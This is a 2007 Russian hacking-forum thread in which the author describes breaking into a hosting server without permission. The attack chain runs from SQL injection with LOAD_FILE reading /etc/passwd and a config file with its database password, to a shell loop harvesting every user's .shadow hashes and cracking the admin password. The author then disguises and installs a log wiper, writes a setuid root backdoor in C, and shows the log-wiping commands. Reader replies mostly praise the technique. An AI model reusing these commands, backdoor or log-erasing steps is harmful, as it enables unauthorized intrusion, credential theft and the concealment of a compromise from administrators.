Авторские статьи От sql-injection до root'a

Discussion in 'Статьи' started by p-range, 5 Mar 2007.

  1. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Название : От sql-injection до root'a
    Автор : p-range - AltST
    Дата : 5.03.2007


    В данной статье я хочу рассказать как я получил нулевые права на одном зарубежном хостинговом сервере.

    [Небольшая предыстория]

    Как обычно, вечером, я гулял по просторам интернета. Серфил по разным сайтам, и тут наткнулся на один очень интересный сайтец. Это был сайт какого-то зарубежного хостера. Назовем его dhoster.com. Я заметил, что движок самописный и довольно сложный. Очень много функций и скриптов. И как всегда, (это уже наверное вошло в привычку ;), начал подставлять кривые значения в переменные скриптов, пытаясь найти ошибку.

    [Первая зацепка]

    Но спустя некоторое время, так ничего и не найдя, я решил покопать глубже. Начал просматривать исходники страниц. И не зря, в сорцах главной страницы меня привлек код на JavaScript примерно следующего содержания:

    Code:
    <script language='JavaScript' type='text/javascript'>
    function openWin(pid)
    {
    	myWin = open("inc/photo.php?pid="+pid, "displayWindow", "width=40,height=30,status=no,toolbar=no,menubar=no");
    }
    </script>
    Я сразу обратил внимание на строчку "inc/photo.php?pid="+pid и поспешил перейти по адресу http://dhoster.com/inc/photo.php?pid='. Как я и думал, скрипт выплюнул мне ошибку MySQL:

    Fatal error: Call to undefined function: mysql_error() in /home/dhoster/public_html/inc/photo.php on line 29

    Теперь я начал подбирать правильный запрос к базе данных. В итоге получил строчку такого вида:

    http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,3,4,5/*

    К сожалению попытка подобрать название таблицы так ни к чему и не привела. Из идеи просмотреть таблицу mysql.user тоже ничего не вышло.
    Но тут я решил попробовать прочесть файл /etc/passwd через функцию LOAD_FILE(). К моему удивлению, это сработало, и на странице я увидел содержимое с логинами пользователей сервера.
    Так как я знал полный путь до директории с сайтом, то решил попытаться найти файл конфигурации от движка. Мне повезло, и я сразу нашел его :) В итоге перешел по такому УРЛ:
    http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,LOAD_FILE('/home/dhoster/public_html/inc/config.php'),4,5/*

    и увидел содержимое config.php

    Code:
    <?php
    $dbhost = 'localhost';
    $dbuser = 'dhoster';
    $dbpass = 'gfGFd.uhL';
    $dbname = 'engine';
    ?>
    [Осматриваемся на сервере]

    Я поспешил зайти под текущим логином и паролем на SSH. Как ни странно, пароль подошел :)

    Я начал осматриваться в системе. Сервер крутился на линуксе. Ядро свежее, поэтому поднять свои права в системе с помощью эксплоитов я не мог. Я думал, что делать дальше. Просмотрел содержимое каталога пользователя dhoster, но ничего интересного там не нашел, точнее сначала не заметил.
    Я обратил внимание на файл .shadow, лежащий в корне директории пользователя. Выполнив команду cat .shadow, я увидел хэш пароля от ssh моего пользователя.
    Предположив, что такие файлы лежат в корневой директории каждого пользователя, я решил попробовать их прочесть. Но для начала решил поискать хистори-файлы на сервере. Для этого выполнил команду на поиск:

    find / -type f -name *_history -ls

    Просмотрев результаты, я не нашел ничего, что бы могло мне помочь в поднятии прав. Директория /home, где лежали все сайты, которые хостились на этом сервере, была закрыта для чтения.

    И тут в моей голове промелькнула одна очень интересная идея. Я вспомнил об одной фиче, позволяющей обходить запрет на чтение файлов из /home.

    [Повышаем права]

    for i in ls `cat /etc/passwd|awk -F ":" '{print $6}'`; do cat $i/.shadow; done|more

    Ее суть заключается в том, чтобы прочесть с помощью утилиты cat файл /etc/passwd, далее с помощью awk выбрать из него логины в цикл и подставлять как user/.shadow, прочесть его и вывести на экран в постраничном режиме, о чем говорит done|more.

    Разумеется, злоумышленники могут читать не только .shadow, но и .htaccess, index.php, а затем уже и includes/config.php и другие файлы с более-менее стандартными именами. Потом, в результате сканирования файлов по ключевым словам, в чужие руки попадают учетные записи. Далее остается только найти подходящее приложение для закачки скрипта.

    К примеру, если это CMS, php-шаблоны которой можно править через WEB интерфейс, а исполняемым скриптам позволено что-то закачивать на сервер, то остальное лишь дело техники.

    Думаю смысл ясен. Выполнив эту команду, я получил доступ ко всем файлам .shadow в директории /home. Среди них и оказался файл /home/admin/.shadow.
    Мне повезло, так как у меня были права на чтение этих файлов. Получив хэш админа, я скормил его джону. Пароль, как оказалось, был не очень сложным, и получив его я поспешил залогиниться под юзером admin.
    Подключившись на 22-й порт сервера dhoster.com, я ввел имя пользователя admin и пароль password. Система сообщила мне об удачном входе, и я, убедившись что мои права нулевые, принялся за работу.

    [Ставим логвайпер]

    Естесственно, теперь мне нужно было позаботиться о том, чтобы админ не смог вычислить что я находился в его системе.

    Решено было поставить логвайпер wipe. На мой взгляд неплохой, так как умеет чистить UTMP, WTMP, lastlogs и ACCT файлы.
    Слил архив с wipe (http://packetstormsecurity.org/UNIX/penetration/log-wipers/wipe-1.00.tgz) и распаковал в каталог /home/admin/l/. Затем выполнил команду на установку: make linux.
    Получив бинарник wipe, скопировал его в /usr/bin/telnef. Папку l/ я потер, дабы не вызывать лишних подозрений. Логвайпер готов к использованию :)

    [Закрепляемся в системе]

    Теперь передо мной стояла задача, закрепиться в системе. Я не стал использовать публичные руткиты, ибо админ его спалит при первой же проверке chrootkit'ом. Я написал простенький бэкдор.

    Исходный код at.c

    Code:
    main()
    {
    setuid(0);
    setgid(0);
    system("/usr/bin/telnef l admin");
    system("/usr/bin/telnef w admin");
    system("/usr/bin/telnef u admin");
    system("/usr/bin/telnef a admin");
    system("/bin/bash");
    }
    Скомпилировав сорцы в бинарник at, я переместил его в /usr/bin/at и поставил на него суид. Теперь получить рутовые права в системе я мог из любого юзера, запустив /usr/bin/at ;)

    Что он делает, думаю, понятно. Бинарник берет рутовые права, затем запускает логвайпер, который я уже установил и бэкдорит тачку.

    [Заметаем следы]

    Теперь осталось лишь подчистить следы моего пребывания в системе:

    [admin@server admin]# /usr/bin/telnef l admin
    Patching... Done.
    [admin@server admin]# /usr/bin/telnef w admin
    Patching... Done.
    [admin@server admin]# /usr/bin/telnef u admin
    Patching... Done.
    [admin@server admin]# /usr/bin/telnef a admin
    Patching... Done.

    [Заключение]

    Если администраторы вашего хостинга считают, что из директории другого клиента, права на которую установлены в "r-x--x--x", нельзя читать файлы, то они заблуждаются. Если они считают, что запрет на чтение, к примеру, "/home", помешает узнать список домашних директорий, то они не знают элементарных вещей.

    На сегодня все :)

    P.S. А как все невинно начиналось... ;)

    (с) p-range :: AltST
     
    #1 p-range, 5 Mar 2007
    Last edited: 5 Mar 2007
  2. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Если честно - то статья не очень понравилась, ввиду экзотичности ошибки, и ощущения некоторой надуманности (читай научная фантастика). Тем более таких статей уже полно. Хотя awk и sql ты пользоваться умеешь ;) За старания +. Хотелось бы увидеть ссылку на wipe и исправление "линуксс" на "линукс". А ещё неплохо было бы указать версию ядра.
     
    #2 ShadOS, 5 Mar 2007
    Last edited: 5 Mar 2007
  3. gcc

    gcc Elder - Старейшина

    Joined:
    27 Jan 2007
    Messages:
    88
    Likes Received:
    9
    Reputations:
    0
    p-range respect, фича с чтением директорий с правами x известная, но не всеми админами поправленная =))
     
  4. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    не могу не придраться: проверка на суиды является базовой для антируткитов\ids и прочего подобного софта.
     
  5. ssk.ex0.uf0

    ssk.ex0.uf0 Elder - Старейшина

    Joined:
    27 Feb 2007
    Messages:
    68
    Likes Received:
    19
    Reputations:
    0
    А мне про фичу поравилось) незнал)
    за статью спасибо + в репу полюбому) ;)
     
  6. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Спасибо за критику. На самом деле об этой фиче я знаю давно, но уже не помню где узнал, и, по крайней мере нигде больше не встречал. В этой статье решил показать на примере как ее можно использовать.
    Надеюсь кто-то узнал для себя что-то новое =)
     
    2 people like this.